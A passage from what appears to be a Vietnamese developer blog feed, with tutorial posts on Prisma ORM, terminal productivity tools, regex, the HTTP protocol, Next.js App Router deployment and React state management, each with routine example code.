        class="inline-flex items-center px-6 py-3 bg-blue-600 text-white font-medium rounded-lg hover:bg-blue-700 transition-colors"
      >
        Read Blog →
      </a>
    </div>
  </main>
</Layout>

VS Code Extensions

Tailwind CSS IntelliSense — autocomplete, hover preview
Tailwind Fold — fold long class lists
Headwind — sắp xếp class theo order

Tips

<!-- arbitrary value — khi cần giá trị đặc biệt -->
<div class="w-[calc(100%-2rem)] top-[37px]">
  
<!-- ! cho important -->
<div class="!text-blue-600">

<!-- group hover -->
<div class="group cursor-pointer">
  <h3 class="group-hover:text-blue-600">Title</h3>
  <p class="opacity-0 group-hover:opacity-100 transition">Hidden content</p>
</div>

<!-- peer — dựa vào sibling state -->
<input class="peer" type="checkbox" />
<label class="peer-checked:text-blue-600">Check me</label>

Kết Luận

Tailwind CSS xoá bỏ việc đặt tên class, chuyển context switch giữa HTML và CSS. Nhanh hơn, nhất quán hơn. Học 20 class đầu khó — nhưng sau đó là tự nhiên. Kết hợp với component framework (React, Astro) cho kết quả tuyệt vời.

Tài liệu tham khảo

Prisma ORM — Từ Schema Đến Database Trong Phút

Sat, 18 Jul 2026 00:00:00 GMT

Prisma là ORM hiện đại cho TypeScript. Không như TypeORM hay Sequelize — Prisma tự động sinh type, giúp DevX cực kỳ tốt.

Setup

npm install prisma @prisma/client
npx prisma init

Tạo file prisma/schema.prisma:

generator client {
  provider = "prisma-client-js"
}

datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}

model User {
  id        Int      @id @default(autoincrement())
  email     String   @unique
  name      String
  posts     Post[]
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}

model Post {
  id        Int      @id @default(autoincrement())
  title     String
  content   String?
  published Boolean  @default(false)
  author    User     @relation(fields: [authorId], references: [id])
  authorId  Int
  createdAt DateTime @default(now())
}

Migrations

# Tạo migration
npx prisma migrate dev --name init

# Áp dụng migration lên production
npx prisma migrate deploy

# Reset database
npx prisma migrate reset

# Xem migration history
npx prisma migrate status

CRUD Cơ Bản

import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();

// Create
const user = await prisma.user.create({
  data: {
    email: 'alice@example.com',
    name: 'Alice',
  },
});

// Read
const user = await prisma.user.findUnique({
  where: { email: 'alice@example.com' },
  include: { posts: true },
});

const users = await prisma.user.findMany({
  where: { name: { contains: 'Ali' } },
  orderBy: { createdAt: 'desc' },
  take: 10,
  skip: 0,
});

// Update
const updated = await prisma.user.update({
  where: { id: 1 },
  data: { name: 'Alice Updated' },
});

// Delete
await prisma.user.delete({ where: { id: 1 } });

Relations

Include — Load Relation

const user = await prisma.user.findUnique({
  where: { id: 1 },
  include: {
    posts: {
      where: { published: true },
      orderBy: { createdAt: 'desc' },
      take: 5,
    },
  },
});

Nested Create

const user = await prisma.user.create({
  data: {
    email: 'bob@example.com',
    name: 'Bob',
    posts: {
      create: [
        { title: 'Post 1', content: 'Hello' },
        { title: 'Post 2', content: 'World' },
      ],
    },
  },
  include: { posts: true },
});

Nested Update

await prisma.user.update({
  where: { id: 1 },
  data: {
    posts: {
      update: {
        where: { id: 10 },
        data: { title: 'Updated Title' },
      },
      create: { title: 'New Post', content: 'Content' },
      delete: { id: 5 },
    },
  },
});

Transactions

// Interactive transaction
await prisma.$transaction(async (tx) => {
  const user = await tx.user.create({ data: { email, name } });
  const profile = await tx.profile.create({
    data: { userId: user.id, bio },
  });
  return { user, profile };
});

// Batch transaction
const [user1, user2] = await prisma.$transaction([
  prisma.user.create({ data: { email: 'a@test.com', name: 'A' } }),
  prisma.user.create({ data: { email: 'b@test.com', name: 'B' } }),
]);

Pagination

// Offset pagination
const posts = await prisma.post.findMany({
  skip: (page - 1) * limit,
  take: limit,
  orderBy: { createdAt: 'desc' },
});

// Cursor pagination (nhanh hơn cho large dataset)
const posts = await prisma.post.findMany({
  take: limit + 1, // Lấy dư 1 để biết có next page
  cursor: cursor ? { id: cursor } : undefined,
  orderBy: { id: 'asc' },
  where: { published: true },
});

Aggregation

const stats = await prisma.post.aggregate({
  _count: { id: true },
  _avg: { viewCount: true },
  _max: { viewCount: true },
  where: { published: true },
});

const group = await prisma.post.groupBy({
  by: ['authorId'],
  _count: { id: true },
  _sum: { viewCount: true },
  orderBy: { _sum: { viewCount: 'desc' } },
});

Middleware — Hook

// Log query
prisma.$use(async (params, next) => {
  const before = Date.now();
  const result = await next(params);
  const after = Date.now();
  console.log(`Query ${params.model}.${params.action} took ${after - before}ms`);
  return result;
});

// Soft delete
prisma.$use(async (params, next) => {
  if (params.action === 'delete') {
    params.action = 'update';
    params.args.data = { deletedAt: new Date() };
  }
  return next(params);
});

Raw Query

// Khi Prisma query không đủ
const users = await prisma.$queryRaw`
  SELECT id, name, COUNT(p.id) as post_count
  FROM users u
  LEFT JOIN posts p ON p.author_id = u.id
  GROUP BY u.id
  HAVING COUNT(p.id) > 5
`;

// Execute raw
await prisma.$executeRaw`UPDATE posts SET view_count = view_count + 1 WHERE id = ${postId}`;

Best Practices

// 1. Singleton PrismaClient
const globalForPrisma = globalThis as unknown as {
  prisma: PrismaClient | undefined;
};
export const prisma = globalForPrisma.prisma ?? new PrismaClient();
if (process.env.NODE_ENV !== 'production') globalForPrisma.prisma = prisma;

// 2. Select chỉ field cần — tránh over-fetching
const users = await prisma.user.findMany({
  select: { id: true, name: true, email: true },
});

// 3. Batch create với createMany
await prisma.post.createMany({
  data: posts,
  skipDuplicates: true,
});

// 4. Upsert
await prisma.user.upsert({
  where: { email: 'alice@example.com' },
  update: { name: 'Alice Updated' },
  create: { email: 'alice@example.com', name: 'Alice' },
});

Migration Production

# Không dùng migrate dev trên production
# Dùng migrate deploy — chỉ chạy migration mới
npx prisma migrate deploy

# Nếu cần chỉnh sửa migration đã áp dụng
npx prisma migrate resolve --applied 20240718000000_init

Kết Luận

Prisma giúp làm việc với database dễ hơn rất nhiều:

Không viết SQL (trừ khi cần)
Type-safe từ đầu đến cuối
Migration tự động
Relations xử lý dễ dàng
DevX xuất sắc

Nhớ: Luôn dùng select để tránh over-fetching. Transaction cho multi-step operations. Migration deploy cho production.

Tài liệu tham khảo

Terminal Productivity — tmux, Zsh, Fish, Alias

Fri, 17 Jul 2026 00:00:00 GMT

Terminal là công cụ chính của developer. Tối ưu nó — tối ưu cả ngày làm việc.

Shell — Chọn Đúng

Zsh — Mặc Định Trên macOS

Zsh là shell mặc định trên macOS và hầu hết Linux distro mới.

Oh My Zsh — framework quản lý plugin và theme:

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

Plugin nên có (trong ~/.zshrc):

plugins=(
  git # Git aliases: gst, gco, gaa, ...
  zsh-autosuggestions # Gợi ý lệnh từ history
  zsh-syntax-highlighting # Tô màu lệnh
  docker # Docker completion
  npm # Npm completion
  history # Tìm kiếm history
)

Fish — User-Friendly

Fish có syntax highlighting, autosuggestion, và web config ngay từ đầu:

# Cài Fish
brew install fish

# Mở web config
fish_config

# Prompt đẹp
fisher install matchai/spacefish

tmux — Terminal Multiplexer

tmux cho phép nhiều terminal trong một cửa sổ, session tồn tại cả khi mất kết nối SSH.

Basic Commands

# Session
tmux new -s myproject # Tạo session mới
tmux ls # List session
tmux attach -t myproject # Attach vào session
tmux kill-session -t myproject

# Trong tmux (prefix: Ctrl+b)
Ctrl+b % # Split vertical
Ctrl+b "       # Split horizontal
Ctrl+b arrow # Di chuyển giữa các pane
Ctrl+b c # New window
Ctrl+b n/p # Window tiếp/trước
Ctrl+b d # Detach (session vẫn chạy)
Ctrl+b [ # Scroll mode

Cấu Hình (~/.tmux.conf)

# Mouse support
set -g mouse on

# Tăng history
set -g history-limit 50000

# Prefix đổi thành Ctrl+a (dễ với tay)
set -g prefix C-a

# 256 color
set -g default-terminal "screen-256color"

Alias — Tiết Kiệm Gõ Phím

# Git
alias gs="git status"
alias gc="git commit"
alias gp="git push"
alias gco="git checkout"
alias gl="git log --oneline --graph --decorate"

# Navigation
alias ..="cd .."
alias ...="cd ../.."
alias ~="cd ~"

# Docker
alias dps="docker ps"
alias dcd="docker compose down"
alias dcu="docker compose up -d"

# List
alias ll="ls -lah"
alias la="ls -A"
alias tree="find . -maxdepth 2 -type d | sort"

History Tricks

# Tìm kiếm history
Ctrl+r # Search history (fuzzy)
history | grep docker

# Chạy lại lệnh
!! # Lệnh cuối
!$ # Tham số cuối của lệnh trước
!docker # Lệnh docker gần nhất
!100 # Chạy lệnh số 100 trong history

# Sửa lệnh trước
^old^new # Thay thế

CLI Tools Siêu Hữu Ích

File & Navigation

# fd — thay thế find (nhanh hơn)
fd "*.ts" # Tìm file .ts
fd -e md -x wc -l # Tìm .md và chạy wc

# bat — thay thế cat (có syntax highlight)
bat file.ts # Xem file với highlight
bat -n file.ts # Hiện số dòng

# ripgrep (rg) — thay thế grep (siêu nhanh)
rg "function" --type ts
rg "TODO" --glob '!node_modules'

# eza — thay thế ls (đẹp hơn)
eza -la --icons
eza --tree # Tree view

# zoxide — cd thông minh (học thói quen)
z myproject # Nhảy đến project
z blog # cd đến ~/w/dopana/blog

Process & System

# htop — thay thế top
htop

# duf — thay thế df
duf

# procs — thay thế ps
procs

# bottom (btm) — thay thế htop + nhiều hơn
btm

Network

# httpie — thay thế curl cho API
http GET https://api.example.com/users
http POST https://api.example.com/users name=Alice

# ngrok — tunnel localhost ra internet
ngrok http 3000

# dog — thay thế dig
dog example.com

JSON

# jq — xử lý JSON trong terminal
cat data.json | jq '.users[] | {name, email}'
curl api.example.com/users | jq '.[0:3]'

# fx — JSON viewer tương tác
curl api.example.com/users | fx

FZF — Fuzzy Finder

FZF cho phép tìm kiếm mờ trong terminal:

# Cài
brew install fzf

# Tìm file và mở
vim $(fzf)

# Git branch switcher
gco $(git branch | fzf | tr -d ' *')

# Docker container kill
docker stop $(docker ps | fzf | awk '{print $1}')

# History search
history | fzf

Keybindings Custom

# VS Code style trong terminal
bindkey "^P" history-search-backward
bindkey "^N" history-search-forward
bindkey "^A" beginning-of-line
bindkey "^E" end-of-line
bindkey "^K" kill-line
bindkey "^U" kill-whole-line
bindkey "^W" backward-kill-word

Workflow — Terminal IDE

tmux session "myproject"
├── Window 1: Editor (Neovim)
│   ├── Pane 1: Code
│   └── Pane 2: Terminal
├── Window 2: Server
│   └── Pane 1: npm run dev
└── Window 3: Git
    └── Pane 1: git log, git status

Cài Đặt Nhanh

# macOS
brew install \
  tmux \
  fzf \
  fd \
  ripgrep \
  bat \
  eza \
  zoxide \
  httpie \
  jq \
  htop

# Oh My Zsh
sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

# Fish
brew install fish

Kết Luận

Terminal productivity là đầu tư một lần — lợi ích mỗi ngày. Bắt đầu với:

Oh My Zsh + plugins autosuggestions + syntax-highlighting
tmux cho session management
Alias cho git và docker
fzf cho fuzzy finding
fd + rg + bat — thay thế find/grep/cat

Tài liệu tham khảo

Regex Cho Developer — Từ Cơ Bản Đến Thực Chiến

Thu, 16 Jul 2026 00:00:00 GMT

Regex (Regular Expression) là pattern để tìm kiếm và thao tác với chuỗi. Khó học lần đầu — nhưng một khi hiểu, bạn tiết kiệm hàng giờ xử lý text thủ công.

Cơ Bản — Các Pattern Thường Dùng

Literal Characters

/hello/      → Tìm "hello"
/hello123/   → Tìm "hello123"

Meta Characters

.   → Bất kỳ ký tự nào (trừ newline)
\d  → Digit (0-9)
\w  → Word character (a-z, A-Z, 0-9, _)
\s  → Whitespace (space, tab, newline)
\b  → Word boundary
^   → Đầu chuỗi
$   → Cuối chuỗi

Quantifiers

*   → 0 hoặc nhiều lần
+   → 1 hoặc nhiều lần
?   → 0 hoặc 1 lần
{3} → Đúng 3 lần
{2,4} → 2 đến 4 lần
{2,} → Ít nhất 2 lần

Character Classes

[abc]     → a, b, hoặc c
[a-z]     → a đến z
[^abc]    → Không phải a, b, c
[0-9]     → 0 đến 9
[a-zA-Z]  → a-z hoặc A-Z

Ví Dụ Thực Tế

Validate Email

/^[^\s@]+@[^\s@]+\.[^\s@]+$/

function isValidEmail(email: string): boolean {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

Giải thích:

^ — đầu chuỗi
[^\s@]+ — 1+ ký tự không phải space hoặc @
@ — literal @
[^\s@]+ — domain name
\. — literal dấu chấm
[^\s@]+ — TLD
$ — cuối chuỗi

Trích Xuất URL

/https?:\/\/[^\s]+/g

function extractUrls(text: string): string[] {
  return text.match(/https?:\/\/[^\s]+/g) || [];
}

Validate Số Điện Thoại Việt Nam

/(84|0)[3|5|7|8|9]\d{8}/

(84|0) — đầu 84 hoặc 0
[3|5|7|8|9] — nhà mạng
\d{8} — 8 số

Tìm Password Mạnh

/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&*]).{8,}$/

Lookahead assertions (?=...) — kiểm tra có chứa:

(?=.*[a-z]) — có chữ thường
(?=.*[A-Z]) — có chữ hoa
(?=.*\d) — có số
(?=.*[!@#$%^&*]) — có ký tự đặc biệt
.{8,} — ít nhất 8 ký tự

Format Số Điện Thoại

// 0987654321 → 0987 654 321
const phone = '0987654321';
const formatted = phone.replace(/(\d{4})(\d{3})(\d{3})/, '$1 $2 $3');

Trim Whitespace

// Thay vì .trim()
const trimmed = text.replace(/^\s+|\s+$/g, '');

Extract Hashtag

function extractHashtags(text: string): string[] {
  return text.match(/#\w+/g)?.map(t => t.slice(1)) || [];
}
// "Hello #world #regex" → ["world", "regex"]

Slugify

function slugify(text: string): string {
  return text
    .toLowerCase()
    .replace(/[^\w\s-]/g, '')  // Xoá ký tự đặc biệt
    .replace(/[\s_]+/g, '-')   // Space → dash
    .replace(/^-+|-+$/g, '');  // Xoá dash đầu cuối
}
// "Hello World!" → "hello-world"

Regex Trong VS Code

Tìm kiếm nâng cao với regex:

Tìm:     function\s+(\w+)\s*\(
Thay:    export function $1(
→ Thêm export vào tất cả function

Tìm:     console\.log\(.*\);
Thay:    (xóa)
→ Xoá toàn bộ console.log

Regex Flag

/g  → Global — tìm tất cả, không chỉ kết quả đầu
/i  → Case insensitive — không phân biệt hoa thường
/m  → Multiline — ^$ match từng dòng
/s  → Dotall — . match cả newline
/u  → Unicode — hỗ trợ unicode
/y  → Sticky — match từ vị trí lastIndex

Performance — Đừng Viết Regex Quá Tệ

// ❌ Tệ — catastrophic backtracking
/<([A-Z]+)>.*<\/\1>/

// ✅ Tốt — atomic group / possessive quantifier
/<([A-Z]+)>[^<]*<\/\1>/

// Tránh nested quantifiers: (a+)+, (a|b)*, ...
// Chúng có thể gây backtracking mất hàng phút

Debug Regex

Công cụ online:

regex101.com — giải thích từng token, test online
regexr.com — cheatsheet, test
debuggex.com — trực quan hoá dưới dạng sơ đồ

Cheatsheet Nhanh

.     Bất kỳ ký tự
^     Đầu chuỗi
$     Cuối chuỗi
*     0+ lần
+     1+ lần
?     0 hoặc 1
{n}   n lần
[]    Set ký tự
[^]   Phủ định set
()    Capture group
(?:)  Non-capturing group
(?=)  Lookahead
(?!)  Negative lookahead
|     OR
\     Escape
\d    Digit
\w    Word char
\s    Whitespace
\b    Word boundary

Kết Luận

Regex không cần nhớ hết — chỉ cần nhớ các pattern cơ bản và biết cách tra cứu. Luôn dùng regex101.com để test. Performance quan trọng — tránh backtracking với chuỗi dài. Bắt đầu với 5 pattern: email, URL, số điện thoại, trim whitespace, extract.

Tài liệu tham khảo

HTTP Protocol — Từ URL Đến Request/Response Chi Tiết

Wed, 15 Jul 2026 00:00:00 GMT

HTTP là nền tảng của web. Mỗi lần bạn mở trình duyệt, hàng trăm HTTP request được gửi đi. Hiểu HTTP giúp bạn debug, optimize và security tốt hơn.

HTTP Request — Client Gửi Lên

POST /api/users HTTP/1.1
Host: api.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
User-Agent: Mozilla/5.0
Accept: application/json
Content-Length: 42

{"name":"Alice","email":"alice@example.com"}

Cấu trúc:

Request line: METHOD /path HTTP/version
Headers: key-value pairs
Body: (optional) data gửi lên

HTTP Response — Server Trả Về

HTTP/1.1 201 Created
Content-Type: application/json
Location: /api/users/123
Cache-Control: no-cache
Set-Cookie: session=abc123; HttpOnly; Secure

{"id":123,"name":"Alice","email":"alice@example.com"}

Cấu trúc:

Status line: HTTP/version statusCode statusText
Headers
Body

HTTP Methods

| Method | Mục đích | Idempotent | Body | |---|---|---|---| | GET | Lấy dữ liệu | ✅ | ❌ | | POST | Tạo mới | ❌ | ✅ | | PUT | Thay thế toàn bộ | ✅ | ✅ | | PATCH | Cập nhật một phần | ❌ | ✅ | | DELETE | Xoá | ✅ | Có thể có | | HEAD | Giống GET nhưng không body | ✅ | ❌ | | OPTIONS | Hỏi server hỗ trợ method nào | ✅ | ❌ |

Idempotent: Gọi N lần giống gọi 1 lần.

HTTP Status Codes

2xx — Success

200 OK — Thành công
201 Created — Tạo resource thành công
204 No Content — Thành công, không trả về gì

3xx — Redirect

301 Moved Permanently — Đổi URL vĩnh viễn
302 Found — Đổi URL tạm thời
304 Not Modified — Dùng cache (ETag)

4xx — Client Error

400 Bad Request — Request sai format
401 Unauthorized — Chưa đăng nhập
403 Forbidden — Không có quyền
404 Not Found — Resource không tồn tại
409 Conflict — Xung đột (trùng email)
422 Unprocessable Entity — Validation lỗi
429 Too Many Requests — Rate limit

5xx — Server Error

500 Internal Server Error — Lỗi không xác định
502 Bad Gateway — Upstream trả lỗi
503 Service Unavailable — Quá tải hoặc bảo trì
504 Gateway Timeout — Upstream timeout

HTTP Headers Quan Trọng

Request Headers

Host: api.example.com           // Bắt buộc HTTP/1.1
User-Agent: Mozilla/5.0         // Trình duyệt
Accept: application/json        // Định dạng muốn nhận
Accept-Encoding: gzip, br       // Nén
Authorization: Bearer <token>   // Auth
Cookie: session=abc123          // Cookie
Content-Type: application/json  // Định dạng body
Content-Length: 42              // Kích thước body
Referer: https://example.com    // Trang trước
Origin: https://example.com     // Origin request
Cache-Control: no-cache         // Cache policy
If-None-Match: "etag-value"     // Conditional request

Response Headers

Content-Type: application/json; charset=utf-8
Content-Length: 123
Cache-Control: public, max-age=3600
ETag: "abc123"                  // Version identifier
Set-Cookie: session=abc; HttpOnly; Secure
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

HTTP Caching — Speed Up Website

ETag — So Sánh Phiên Bản

# Request 1
GET /profile HTTP/1.1

# Response 1
HTTP/1.1 200 OK
ETag: "v2"
Content: { name: "Alice" }

# Request 2 — gửi ETag
GET /profile HTTP/1.1
If-None-Match: "v2"

# Response 2 — nếu không thay đổi
HTTP/1.1 304 Not Modified
# Không body! Dùng cache cũ

Cache-Control

# Static assets — cache lâu
Cache-Control: public, max-age=31536000, immutable

# HTML — không cache
Cache-Control: no-cache, no-store, must-revalidate

# API response — cache 5 phút
Cache-Control: private, max-age=300

HTTP/2 — Multiplexing

HTTP/1.1 gửi request tuần tự trên một connection. HTTP/2 gửi song song:

HTTP/1.1: [Request1] [Response1] [Request2] [Response2]
HTTP/2:   [Request1, Request2, Request3...]
           [Response1, Response2, Response3...] (cùng lúc)

Lợi ích: Không cần domain sharding, không concatenate files, server push.

HTTP/3 — QUIC (UDP)

HTTP/3 dùng QUIC thay vì TCP:

0-RTT — kết nối ngay, không cần handshake
Không head-of-line blocking — mất 1 packet không block toàn bộ
Built-in encryption — TLS 1.3 mặc định
Tốt hơn trên mobile — chuyển mạng không mất kết nối

HTTPS — HTTP + TLS

HTTP:  http://example.com — port 80 — plain text
HTTPS: https://example.com — port 443 — encrypted (TLS)

HTTPS không thể thiếu:

Chống man-in-the-middle
Chống nghe lén
SEO (Google ưu tiên HTTPS)
Bắt buộc cho HTTP/2

Debug HTTP

# Curl
curl -v https://api.example.com/users # Verbose — thấy headers
curl -I https://example.com # Chỉ headers
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d '{"name":"Alice"}'

# HTTPie — đẹp hơn curl
http GET https://api.example.com/users
http POST https://api.example.com/users name=Alice

# Browser DevTools > Network tab
# Status, Headers, Timing, Response

Kết Luận

HTTP đơn giản nhưng mạnh mẽ. Nắm vững:

Methods — GET, POST, PUT, DELETE, PATCH
Status codes — 200, 201, 204, 304, 400, 401, 403, 404, 500
Headers — Cache-Control, ETag, Content-Type, Authorization
HTTPS — luôn dùng
HTTP/2 — mặc định trên server hiện đại

Tài liệu tham khảo

Next.js Production — Từ Dev Đến Triển Khai Thực Tế

Tue, 14 Jul 2026 00:00:00 GMT

Next.js là React framework phổ biến nhất cho production. App Router (2023) thay đổi cách tổ chức code hoàn toàn.

App Router vs Pages Router

| Pages Router | App Router | |---|---| | File-based routing | File-based routing + layout | | _app.tsx global | layout.tsx per segment | | getServerSideProps | Server Components (mặc định) | | Client Components khi cần | 'use client' khi cần | | API routes riêng | Server Actions + Route Handlers |

Cấu Trúc Project

src/
├── app/
│   ├── layout.tsx // Root layout
│   ├── page.tsx // Home page
│   ├── loading.tsx // Loading UI
│   ├── error.tsx // Error boundary
│   ├── not-found.tsx // 404
│   ├── blog/
│   │   ├── [slug]/
│   │   │   ├── page.tsx
│   │   │   └── loading.tsx
│   │   └── page.tsx
│   └── api/
│       └── posts/
│           └── route.ts // API Route Handler
├── components/
├── lib/
└── styles/

Server Components — Mặc Định

// Mặc định là Server Component — không cần 'use client'
export default async function PostPage({ params }: { params: { slug: string } }) {
  const post = await db.posts.findUnique({
    where: { slug: params.slug },
    include: { author: true },
  });

  if (!post) {
    notFound();
  }

  return (
    <article>
      <h1>{post.title}</h1>
      <p>By {post.author.name}</p>
      <div>{post.content}</div>
    </article>
  );
}

Lợi ích: Direct database access, không bundle JS cho server code, nhỏ hơn, nhanh hơn.

Client Components — Khi Cần Tương Tác

'use client';

import { useState } from 'react';
import { useRouter } from 'next/navigation';

export function LikeButton({ postId }: { postId: string }) {
  const [liked, setLiked] = useState(false);
  const router = useRouter();

  async function handleLike() {
    await fetch('/api/like', {
      method: 'POST',
      body: JSON.stringify({ postId }),
    });
    setLiked(true);
    router.refresh(); // Re-render Server Components
  }

  return (
    <button onClick={handleLike} className={liked ? 'liked' : ''}>
      {liked ? '❤️' : '🤍'}
    </button>
  );
}

Nguyên tắc: Server Component mặc định, chỉ thêm 'use client' khi cần state, effect, event handler.

Server Actions — Không Cần API Route

// actions.ts
'use server';

import { revalidatePath } from 'next/cache';

export async function createPost(formData: FormData) {
  const title = formData.get('title') as string;
  const content = formData.get('content') as string;

  // Validate
  if (!title || title.length < 3) {
    return { error: 'Title must be at least 3 characters' };
  }

  // DB
  await db.posts.create({ data: { title, content } });

  // Revalidate cache
  revalidatePath('/blog');

  return { success: true };
}

// Component
export function PostForm() {
  return (
    <form action={createPost}>
      <input name="title" required minLength={3} />
      <textarea name="content" required />
      <button type="submit">Create Post</button>
    </form>
  );
}

Không cần API route — logic chạy trên server, an toàn, type-safe.

Data Fetching & Caching

// Static — fetch tại build time (SSG)
async function getStaticPost(slug: string) {
  const post = await fetch(`http://.../posts/${slug}`, {
    next: { revalidate: 3600 }, // ISR — revalidate mỗi giờ
  });
  return post.json();
}

// Dynamic — fetch mỗi request (SSR)
async function getDynamicPost(slug: string) {
  const post = await fetch(`http://.../posts/${slug}`, {
    cache: 'no-store', // Không cache
  });
  return post.json();
}

// Incremental Static Regeneration (ISR)
export const revalidate = 3600; // Revalidate page mỗi giờ
export const dynamic = 'force-static'; // Static by default

Middleware — Bảo Vệ Route

// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value;

  // Redirect nếu chưa login
  if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
    return NextResponse.redirect(new URL('/login', request.url));
  }

  // Add header
  const response = NextResponse.next();
  response.headers.set('x-pathname', request.nextUrl.pathname);
  return response;
}

export const config = {
  matcher: ['/dashboard/:path*', '/admin/:path*'],
};

Image Optimization

import Image from 'next/image';

export default function Profile({ user }: { user: User }) {
  return (
    <Image
      src={user.avatar}
      alt={user.name}
      width={300}
      height={300}
      priority={true}        // Above the fold
      placeholder="blur"     // Blur placeholder
      blurDataURL="data:..." // Base64 blur
    />
  );
}

Next.js tự động: WebP, responsive sizes, lazy loading, preload priority images.

Metadata & SEO

import type { Metadata } from 'next';

export const metadata: Metadata = {
  title: {
    default: 'My Blog',
    template: '%s | My Blog',
  },
  description: 'Tech blog about programming',
  openGraph: {
    title: 'My Blog',
    description: 'Tech blog about programming',
    type: 'website',
  },
  robots: {
    index: true,
    follow: true,
  },
};

// Per-page metadata
export async function generateMetadata({ params }): Promise<Metadata> {
  const post = await getPost(params.slug);
  return {
    title: post.title,
    description: post.excerpt,
    openGraph: { images: [post.thumbnail] },
  };
}

Performance Checklist

[ ] Server Components mặc định
[ ] next/image cho tất cả images
[ ] next/link cho client-side navigation
[ ] Streaming với loading.tsx và Suspense
[ ] ISR cho content pages
[ ] Static rendering cho public pages
[ ] next/font — tối ưu font (không render-blocking)
[ ] Bundle analyzer — kiểm tra kích thước
[ ] Analytics — Web Vitals tracking

Deploy

# Build
npm run build

// vercel.json
{
  "framework": "nextjs",
  "buildCommand": "npm run build"
}

// Docker
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:20-alpine AS runner
WORKDIR /app
COPY --from=builder /app/.next ./.next
COPY --from=builder /app/public ./public
COPY --from=builder /app/package.json ./
EXPOSE 3000
CMD ["npm", "start"]

Kết Luận

Next.js App Router là tương lai của React. Server Components + Server Actions giảm đáng kể JavaScript bundle. ISR cho content site, dynamic cho personalized pages. Middleware cho auth và redirects. Deploy lên Vercel hoặc Docker.

Tài liệu tham khảo

State Management — Redux, Zustand, Jotai, TanStack Query

Mon, 13 Jul 2026 00:00:00 GMT

Quản lý state là một trong những vấn đề khó nhất trong frontend. Server state khác client state — mỗi loại có giải pháp riêng.

Client State vs Server State

| Client State | Server State | |---|---| | Theme, modal open/close | Dữ liệu từ API | | Form input | User profile, posts | | UI state | Cache tồn tại trên server | | Chỉ liên quan đến UI | Cần sync với server |

Redux Toolkit — Chuẩn Mực Cho State Phức Tạp

import { createSlice, configureStore } from '@reduxjs/toolkit';

// Slice
const cartSlice = createSlice({
  name: 'cart',
  initialState: { items: [], total: 0 },
  reducers: {
    addItem: (state, action) => {
      state.items.push(action.payload);
      state.total += action.payload.price;
    },
    removeItem: (state, action) => {
      state.items = state.items.filter(i => i.id !== action.payload);
      state.total = state.items.reduce((sum, i) => sum + i.price, 0);
    },
  },
});

export const { addItem, removeItem } = cartSlice.actions;

// Store
const store = configureStore({
  reducer: {
    cart: cartSlice.reducer,
  },
});

// Component
function Cart() {
  const items = useSelector((state) => state.cart.items);
  const dispatch = useDispatch();

  return (
    <>
      {items.map(item => (
        <div key={item.id}>
          {item.name}
          <button onClick={() => dispatch(removeItem(item.id))}>Xoá</button>
        </div>
      ))}
    </>
  );
}

Dùng khi: State phức tạp, nhiều reducer, middleware (saga, thunk), lớn hơn vài trăm component.

Zustand — Đơn Giản, Nhẹ

import { create } from 'zustand';
import { persist } from 'zustand/middleware';

interface CartStore {
  items: CartItem[];
  total: number;
  addItem: (item: CartItem) => void;
  removeItem: (id: number) => void;
  clearCart: () => void;
}

const useCartStore = create<CartStore>()(
  persist(
    (set, get) => ({
      items: [],
      total: 0,

      addItem: (item) => set((state) => ({
        items: [...state.items, item],
        total: state.total + item.price,
      })),

      removeItem: (id) => {
        const item = get().items.find(i => i.id === id);
        if (!item) return;
        set((state) => ({
          items: state.items.filter(i => i.id !== id),
          total: state.total - item.price,
        }));
      },

      clearCart: () => set({ items: [], total: 0 }),
    }),
    { name: 'cart-storage' } // Persist to localStorage
  )
);

// Component
function Cart() {
  const { items, total, addItem, clearCart } = useCartStore();

  return (
    <div>
      <p>Total: {total}</p>
      <button onClick={() => addItem({ id: 1, name: 'Laptop', price: 1000 })}>
        Add
      </button>
      <button onClick={clearCart}>Clear</button>
    </div>
  );
}

Dùng khi: State vừa, muốn đơn giản, không muốn boilerplate.

Jotai — Atomic State

import { atom, useAtom } from 'jotai';

const countAtom = atom(0);
const doubledAtom = atom((get) => get(countAtom) * 2);

const userAtom = atom(async () => {
  const res = await fetch('/api/user');
  return res.json();
});

function Counter() {
  const [count, setCount] = useAtom(countAtom);
  const [doubled] = useAtom(doubledAtom);

  return (
    <div>
      <p>Count: {count}</p>
      <p>Doubled: {doubled}</p>
      <button onClick={() => setCount(c => c + 1)}>+</button>
    </div>
  );
}

function User() {
  const [user] = useAtom(userAtom);
  return <div>{user.name}</div>;
}

Dùng khi: State phân tán, muốn atomic update, không cần store lớn.

TanStack Query (React Query) — Server State

Giải pháp cho dữ liệu từ API — cache, refetch, stale management.

import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';

// Fetch data
function usePosts() {
  return useQuery({
    queryKey: ['posts'],
    queryFn: () => fetch('/api/posts').then(r => r.json()),
    staleTime: 5 * 60 * 1000, // 5 phút mới gọi lại
  });
}

// Mutate data
function useCreatePost() {
  const queryClient = useQueryClient();

  return useMutation({
    mutationFn: (newPost) =>
      fetch('/api/posts', {
        method: 'POST',
        body: JSON.stringify(newPost),
      }).then(r => r.json()),

    onSuccess: () => {
      // Invalidate cache → tự động refetch
      queryClient.invalidateQueries({ queryKey: ['posts'] });
    },
  });
}

// Component
function Posts() {
  const { data, isLoading, error } = usePosts();
  const createPost = useCreatePost();

  if (isLoading) return <div>Loading...</div>;
  if (error) return <div>Error: {error.message}</div>;

  return (
    <>
      <button onClick={() => createPost.mutate({ title: 'New post' })}>
        Create
      </button>
      {data.map(post => <PostItem key={post.id} post={post} />)}
    </>
  );
}

